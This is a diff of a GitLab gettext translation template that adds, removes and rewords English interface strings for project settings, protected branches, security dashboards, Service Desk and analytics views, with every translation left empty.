msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23869,15 +24508,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23908,7 +24541,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23917,7 +24550,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23938,16 +24571,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr ""
-
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23959,12 +24589,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23992,10 +24625,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24529,6 +25162,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24550,7 +25192,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24571,6 +25213,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24745,7 +25390,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24934,7 +25579,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25099,7 +25744,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25111,7 +25756,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25135,6 +25780,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25183,9 +25831,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25432,6 +26077,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25477,7 +26125,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25501,6 +26149,12 @@ msgstr[2] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25627,6 +26281,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25723,6 +26380,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26035,7 +26695,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26179,6 +26842,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26212,9 +26878,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26311,6 +26974,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26329,6 +26995,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26353,9 +27022,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26407,6 +27073,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26458,6 +27127,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26467,6 +27139,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26683,6 +27358,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26758,13 +27436,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26773,10 +27457,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26791,6 +27475,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26848,16 +27535,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26923,15 +27622,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26983,9 +27673,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26995,9 +27682,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27034,6 +27718,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27043,7 +27730,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27073,9 +27760,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27130,9 +27823,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27226,6 +27916,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27364,19 +28057,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27478,6 +28195,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27532,7 +28252,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27544,6 +28264,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27565,6 +28288,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27772,9 +28498,15 @@ msgstr[2] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27793,6 +28525,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28033,6 +28768,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28711,13 +29449,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28732,9 +29470,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28747,7 +29482,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28837,9 +29572,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28855,9 +29587,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28915,9 +29644,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29545,6 +30271,12 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29704,9 +30436,6 @@ msgstr[2] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29779,6 +30508,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29806,6 +30538,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29818,6 +30553,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29881,6 +30619,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29941,6 +30682,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30013,6 +30757,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30064,6 +30811,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30112,6 +30862,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30139,6 +30895,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30172,9 +30931,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30418,6 +31174,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30556,7 +31315,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30640,6 +31399,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30649,6 +31411,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30661,6 +31426,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30967,9 +31735,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31066,9 +31831,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31369,6 +32131,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31411,9 +32182,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31441,7 +32209,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31546,6 +32314,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31744,10 +32515,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31882,9 +32653,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31939,6 +32707,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32341,7 +33115,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32350,6 +33124,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32446,6 +33223,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32644,9 +33424,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32698,6 +33475,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32743,7 +33523,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32971,9 +33754,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33040,7 +33820,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33049,6 +33844,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
